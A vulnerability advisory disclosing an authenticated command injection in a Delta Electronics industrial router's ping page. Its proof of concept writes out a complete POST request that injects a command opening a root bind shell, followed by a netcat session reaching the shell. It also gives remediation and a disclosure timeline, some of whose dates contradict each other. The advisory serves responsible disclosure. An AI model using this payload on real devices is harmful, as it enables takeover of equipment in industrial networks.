CyberDanube Security Research 20221130-1
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                title| Authenticated Command Injection
              product| Delta Electronics DVW-W02W2-E2
   vulnerable version| V2.42
        fixed version| V2.5.2
           CVE number| -
               impact| High
             homepage| https://www.deltaww.com
                found| 2022-08-01
                   by| T. Weber (Office Vienna)
                     | CyberDanube Security Research
                     | Vienna | St. Pölten
                     |
                     | https://www.cyberdanube.com
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Vendor description
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"Delta, founded in 1971, is a global provider of power and thermal 
management
solutions. Its mission statement, "To provide innovative, clean and energy
-efficient solutions for a better tomorrow," focuses on addressing key
environmental issues such as global climate change. As an energy-saving
solutions provider with core competencies in power electronics and 
automation,
Delta's business categories include Power Electronics, Automation, and
Infrastructure."

Source: https://www.deltaww.com/en-US/about/aboutProfile


Vulnerable versions
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DVW-W02W2-E2 / V2.42


Vulnerability overview
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1) Authenticated Command Injection
The web server of the device is prone to an authenticated command injection.
It allows an attacker to gain full access to the underlying operating 
system of
the device with all implications. If such a device is acting as key 
device in
an industrial network, or controls various critical equipment via serial 
ports,
more extensive damage in the corresponding network can be done by an 
attacker.


Proof of Concept
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1) Authenticated Command Injection
The web server is prone to an authenticated command injection via POST
parameters. This is only possible if the "timestamp" parameter is set 
correctly
in the URL. The following proof-of-concept shows how to open a port binding
shell on port 8889 with a "utelnetd" listener:
===============================================================================
POST /apply.cgi?/MT_ping.htm%20timestamp=$correct-timestamp$ HTTP/1.1
Host: 192.168.3.148
Accept: 
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 105
Origin: http://192.168.3.148
Connection: close
Referer: http://192.168.3.148/MT_ping.htm
Cookie: xxid=1973719449
Upgrade-Insecure-Requests: 1

submit_flag=mt_ping&hid_ver1=&hid_ser1=&hid_comm1=&hid_ver2=&hid_ser2=&hid_comm2=&destination=`utelnetd%20-p%208889%20-l%20/bin/ash%20-d`
===============================================================================

For accessing the device, the command "netcat" can be used:
===============================================================================
$ nc 192.168.3.150 8889
��
��!��
��

BusyBox v1.4.2 (2016-08-18 22:45:41 EDT) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

/ #
===============================================================================

The vulnerability was manually verified on an emulated device by using the
MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).


Solution
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Update to firmware version V2.5.2.

Workaround
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None


Recommendation
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CyberDanube recommends Delta Electronics customers to upgrade the 
firmware to
the latest version available.


Contact Timeline
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2022-08-02: Contacting Delta Electronics.
2022-08-10: Vendor requested the advisory without encryption; Sent 
advisory to
             Delta Electronics.
2022-08-16: Security contact asked few questions regarding responsible
             disclosure; Sent answers.
2022-08-30: Asked for an update.
2022-09-01: Vendor responded, that they will need more time to resolve the
             issues; Provided additional 30 days (until 2022-11-02) for 
patching.
2022-10-11: Asked for an update.
2022-10-12: Vendor responded, that fixing will be done 2022-11-15; Shifted
             release date to this date.
2022-10-16: Vendor shifted release date again to 2022-11-18. Shifted 
advisory
             release date to the same day.
2022-10-17: Asked for an update regarding the release; No answer.
2022-10-18: Asked for an update and shifted release date to 2022-10-22.
2022-10-19: Vendor responded, that there were problems at releasing the 
patch.
             Contact stated, that the patch will delay until end of 
November.
2022-10-21: Asked vendor for a concrete release date; No answer.
2022-10-28: Announced advisory release date for 2022-10-30 to vendor.
2022-10-29: Found firmware patches with issue date 2022-11-25 on vendors
             website.
2022-10-30: Vendor confirmed fixes. Coordinated release of security 
advisory.


Web: https://www.cyberdanube.com
Twitter: https://twitter.com/cyberdanube
Mail: research at cyberdanube dot com

EOF T. Weber / @2022